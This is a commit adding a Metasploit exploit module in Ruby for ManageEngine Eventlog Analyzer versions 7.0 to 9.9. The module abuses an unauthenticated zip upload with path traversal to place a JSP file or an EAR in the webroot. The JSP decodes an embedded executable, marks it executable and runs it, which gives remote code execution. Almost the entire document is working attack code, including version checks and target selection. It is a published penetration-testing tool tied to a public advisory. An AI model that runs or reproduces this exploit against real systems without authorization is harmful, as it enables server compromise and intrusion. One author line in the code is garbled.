Add exploit for eventlog analyzer file upload

Author: Pedro Ribeiro

modules/exploits/multi/http/eventlog_file_upload.rb

@@ -0,0 +1,337 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
+  include Msf::Exploit::EXE
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'ManageEngine Eventlog Analyzer Arbitrary File Upload',
+      'Description' => %q{
+        This module exploits a file upload vulnerability in ManageEngine Eventlog Analyzer.
+        The vulnerability exists in the agentUpload servlet which accepts unauthenticated
+        file uploads and handles zip file contents in a insecure way. By combining both
+        weaknesses a remote attacker can achieve remote code execution. This module has been
+        tested successfully on versions v7.0 - v9.9 b9002 in Windows and Linux. Versions
+        between 7.0 and < 8.1 are only exploitable via EAR deployment in the JBoss server,
+        while versions 8.1+ are only exploitable via a JSP upload.
+      },
+      'Author'       =>
+        [
+          'h0ng10' <
+          'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
+        ],
+      'License'     => MSF_LICENSE,
+      'References'  =>
+        [
+          [ 'URL', 'https://www.mogwaisecurity.de/advisories/MSA-2014-01.txt' ],
+          [ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/86' ]
+        ],
+      'DefaultOptions' => { 'WfsDelay' => 5 },
+      'Privileged'  => false,            # Privileged on Windows but not on Linux targets
+      'Platform'    => %w{ java linux win },
+      'Targets'     =>
+        [
+          [ 'Automatic', { } ],
+          [ 'Eventlog Analyzer v7.0 - v8.0 / Java universal',
+            {
+              'Platform' => 'java',
+              'Arch' => ARCH_JAVA,
+              'WfsDelay' => 30
+            }
+          ],
+          [ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Windows',
+            {
+              'Platform' => 'win',
+              'Arch' => ARCH_X86
+            }
+          ],
+          [ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Linux',
+            {
+              'Platform' => 'linux',
+              'Arch' => ARCH_X86
+            }
+          ]
+        ],
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Aug 31 2014'))
+
+    register_options(
+      [
+        Opt::RPORT(8400),
+        OptInt.new('SLEEP',
+          [true, 'Seconds to sleep while we wait for EAR deployment (Java target only)', 15]),
+      ], self.class)
+  end
+
+
+  def get_version
+    res = send_request_cgi({
+      'uri'    => normalize_uri("event/index3.do"),
+      'method' => 'GET'
+    })
+
+    if res and res.code == 200
+      if res.body =~ /ManageEngine EventLog Analyzer ([0-9]{1})/
+        return $1
+      end
+    end
+
+    return "0"
+  end
+
+
+  def check
+    version = get_version
+    if version >= "7" and version <= "9"
+      # version 7 to < 8.1 detection
+      res = send_request_cgi({
+        'uri'    => normalize_uri("event/agentUpload"),
+        'method' => 'GET'
+      })
+      if res and res.code == 405
+        return Exploit::CheckCode::Appears
+      end
+
+      # version 8.1+ detection
+      res = send_request_cgi({
+        'uri'    => normalize_uri("agentUpload"),
+        'method' => 'GET'
+      })
+      if res and res.code == 405 and version == 8
+        return Exploit::CheckCode::Appears
+      else
+        # We can't be sure that it is vulnerable in version 9
+        return Exploit::CheckCode::Detected
+      end
+
+    else
+      return Exploit::CheckCode::Safe
+    end
+  end
+
+
+  def create_zip_and_upload(payload, target_path, is_payload = true)
+    # Zipping with CM_STORE to avoid errors decompressing the zip
+    # in the Java vulnerable application
+    zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
+    zip.add_file(target_path, payload)
+
+    post_data = Rex::MIME::Message.new
+    post_data.add_part(zip.pack, "application/zip", 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(4))}.zip\"")
+
+    data = post_data.to_s
+
+    if is_payload
+      print_status("#{peer} - Uploading payload...")
+    end
+    res = send_request_cgi({
+      'uri'    => (@my_target == targets[1] ? normalize_uri("/event/agentUpload") : normalize_uri("agentUpload")),
+      'method' => 'POST',
+      'data'   => data,
+      'ctype'  => "multipart/form-data; boundary=#{post_data.bound}"
+    })
+
+    if res and res.code == 200 and res.body.empty?
+      if is_payload
+        print_status("#{peer} - Payload uploaded successfully")
+      end
+      register_files_for_cleanup(target_path.gsub("../../", "../"))
+      return true
+    else
+      return false
+    end
+  end
+
+
+  def pick_target
+    return target if target.name != 'Automatic'
+
+    print_status("#{peer} - Determining target")
+
+    version = get_version
+
+    if version == "7"
+      return targets[1]
+    end
+
+    os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
+    jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
+    target_dir = "../../webapps/event/"
+    if not create_zip_and_upload(os_finder_payload, target_dir + jsp_name, false)
+      if version == "8"
+        # Versions < 8.1 do not have a Java compiler, but can be exploited via the EAR method
+        return targets[1]
+      end
+      return nil
+    end
+
+    res = send_request_cgi({
+      'uri'    => normalize_uri(jsp_name),
+      'method' => 'GET'
+    })
+
+    if res and res.code == 200
+      if res.body.to_s =~ /Windows/
+        return targets[2]
+      else
+        # assuming Linux
+        return targets[3]
+      end
+    end
+
+    return nil
+  end
+
+
+  def generate_jsp_payload
+    opts = {:arch => @my_target.arch, :platform => @my_target.platform}
+    payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
+    exe = generate_payload_exe(opts)
+    base64_exe = Rex::Text.encode_base64(exe)
+
+    native_payload_name = rand_text_alpha(rand(6)+3)
+    ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
+
+    var_raw     = rand_text_alpha(rand(8) + 3)
+    var_ostream = rand_text_alpha(rand(8) + 3)
+    var_buf     = rand_text_alpha(rand(8) + 3)
+    var_decoder = rand_text_alpha(rand(8) + 3)
+    var_tmp     = rand_text_alpha(rand(8) + 3)
+    var_path    = rand_text_alpha(rand(8) + 3)
+    var_proc2   = rand_text_alpha(rand(8) + 3)
+
+    if @my_target['Platform'] == 'linux'
+      var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
+      chmod = %Q|
+      Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
+      Thread.sleep(200);
+      |
+
+      var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
+      cleanup = %Q|
+      Thread.sleep(200);
+      Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
+      |
+    else
+      chmod = ''
+      cleanup = ''
+    end
+
+    jsp = %Q|
+    <%@page import="java.io.*"%>
+    <%@page import="sun.misc.BASE64Decoder"%>
+    <%
+    try {
+      String #{var_buf} = "#{base64_exe}";
+      BASE64Decoder #{var_decoder} = new BASE64Decoder();
+      byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
+
+      File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
+      String #{var_path} = #{var_tmp}.getAbsolutePath();
+
+      BufferedOutputStream #{var_ostream} =
+        new BufferedOutputStream(new FileOutputStream(#{var_path}));
+      #{var_ostream}.write(#{var_raw});
+      #{var_ostream}.close();
+      #{chmod}
+      Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
+      #{cleanup}
+    } catch (Exception e) {
+    }
+    %>
+    |
+
+    jsp = jsp.gsub(/\n/, '')
+    jsp = jsp.gsub(/\t/, '')
+    jsp = jsp.gsub(/\x0d\x0a/, "")
+    jsp = jsp.gsub(/\x0a/, "")
+
+    return jsp
+  end
+
+
+  def exploit_native
+    # When using auto targeting, MSF selects the Windows meterpreter as the default payload.
+    # Fail if this is the case and ask the user to select an appropriate payload.
+    if @my_target['Platform'] == 'linux' and payload_instance.name =~ /Windows/
+      fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
+    end
+
+    jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
+    target_dir = "../../webapps/event/"
+
+    jsp_payload = generate_jsp_payload
+    if not create_zip_and_upload(jsp_payload, target_dir + jsp_name)
+      fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
+    end
+
+    return jsp_name
+  end
+
+
+  def exploit_java
+    # When using auto targeting, MSF selects the Windows meterpreter as the default payload.
+    # Fail if this is the case and ask the user to select an appropriate payload.
+    if @my_target['Platform'] == 'java' and not payload_instance.name =~ /Java/
+      fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Java target.")
+    end
+
+    target_dir = "../../server/default/deploy/"
+
+    # First we generate the WAR with the payload...
+    war_app_base = rand_text_alphanumeric(4 + rand(32 - 4))
+    war_payload = payload.encoded_war({ :app_name => war_app_base })
+
+    # ... and then we create an EAR file that will contain it.
+    ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4))
+    app_xml = %Q{<?xml version="1.0" encoding="UTF-8"?><application><display-name>#{rand_text_alphanumeric(4 + rand(32 - 4))}</display-name><module><web><web-uri>#{war_app_base + ".war"}</web-uri><context-root>/#{ear_app_base}</context-root></web></module></application>}
+
+    # Zipping with CM_STORE to avoid errors while decompressing the zip
+    # in the Java vulnerable application
+    ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
+    ear_file.add_file(war_app_base + ".war", war_payload.to_s)
+    ear_file.add_file("META-INF/application.xml", app_xml)
+    ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + ".ear"
+
+    if not create_zip_and_upload(ear_file.pack, target_dir + ear_file_name)
+      fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
+    end
+
+    print_status("#{peer} - Waiting " + datastore['SLEEP'].to_s + " seconds for EAR deployment...")
+    sleep(datastore['SLEEP'])
+    return normalize_uri(ear_app_base, war_app_base, rand_text_alphanumeric(4 + rand(32 - 4)))
+  end
+
+
+  def exploit
+    @my_target = pick_target
+    if @my_target.nil?
+      print_error("#{peer} - Unable to select a target, we must bail.")
+      return
+    else
+      print_status("#{peer} - Selected target #{@my_target.name}")
+    end
+
+    if @my_target == targets[1]
+      exploit_path = exploit_java
+    else
+      exploit_path = exploit_native
+    end
+
+    print_status("#{peer} - Executing payload...")
+    send_request_cgi({
+      'uri'    => normalize_uri(exploit_path),
+      'method' => 'GET'
+    })
+  end
+end